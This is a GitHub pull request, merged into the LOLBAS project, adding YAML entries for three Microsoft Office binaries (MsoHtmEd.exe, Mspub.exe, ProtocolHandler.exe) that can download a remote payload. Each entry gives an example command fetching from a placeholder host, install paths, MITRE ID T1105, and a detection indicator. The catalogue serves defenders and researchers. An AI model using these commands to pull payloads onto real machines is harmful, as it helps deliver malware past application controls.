Add 3 new MS Office downloaders #238

New issue

Merged **wietze** merged 7 commits into `LOLBAS-Project:master` from `C-h4ck-0:Add_new_MS_Office_Downloaders` on Oct 4, 2022

Conversation 1 Commits 7 Checks 0 Files changed 3 +92 −0

Changes from all commits File filter Conversations

Filter changed files

- yml/OtherMSBinaries
  - MsoHtmEd.yml
  - Mspub.yml
  - ProtocolHandler.yml

34 yml/OtherMSBinaries/MsoHtmEd.yml

```
@@ -0,0 +1,34 @@
+ ---
+ Name: MsoHtmEd.exe
+ Description: Microsoft Office component
+ Author: Nir Chako
+ Created: 2022-07-24
+ Commands:
+   - Command: MsoHtmEd.exe https://example.com/payload
+     Description: Downloads payload from remote server
+     Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+     Category: Download
+     Privileges: User
+     MitreID: T1105
+     OperatingSystem: Windows 10, Windows 11
+ Full_Path:
+   - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe
+   - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe
+   - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
+   - Path: C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
+ Detection:
+   - IOC: Suspicious Office application internet/network traffic
+ Acknowledgement:
+   - Person: Nir Chako (Pentera)
+     Handle: '@C_h4ck_0'
```

31 yml/OtherMSBinaries/Mspub.yml

```
@@ -0,0 +1,31 @@
+ ---
+ Name: Mspub.exe
+ Description: Microsoft Publisher
+ Author: Nir Chako
+ Created: 2022-08-02
```

```
+ Commands:
+   - Command: mspub.exe https://example.com/payload
+     Description: Downloads payload from remote server
+     Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+     Category: Download
+     Privileges: User
+     MitreID: T1105
+     OperatingSystem: Windows 10, Windows 11
+ Full_Path:
+   - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
+   - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
+   - Path: C:\Program Files\Microsoft Office\Office16\MSPUB.exe
+   - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
+   - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
+   - Path: C:\Program Files\Microsoft Office\Office15\MSPUB.exe
+   - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
+   - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
+   - Path: C:\Program Files\Microsoft Office\Office14\MSPUB.exe
+ Detection:
+   - IOC: Suspicious Office application internet/network traffic
+ Acknowledgement:
+   - Person: 'Nir Chako (Pentera)'
+     Handle: '@C_h4ck_0'
```

27 yml/OtherMSBinaries/ProtocolHandler.yml

```
@@ -0,0 +1,27 @@
+ ---
+ Name: ProtocolHandler.exe
+ Description: Microsoft Office binary
+ Author: Nir Chako
+ Created: 2022-07-24
+ Commands:
+   - Command: ProtocolHandler.exe https://example.com/payload
+     Description: Downloads payload from remote server
+     Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+     Category: Download
+     Privileges: User
+     MitreID: T1105
+     OperatingSystem: Windows 10, Windows 11
+ Full_Path:
+   - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
+   - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
+   - Path: C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
+   - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
+   - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
+   - Path: C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
+   - Path: C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe
+ Detection:
+   - IOC: Suspicious Office application Internet/network traffic
+ Acknowledgement:
+   - Person: Nir Chako (Pentera)
+     Handle: '@C_h4ck_0'
```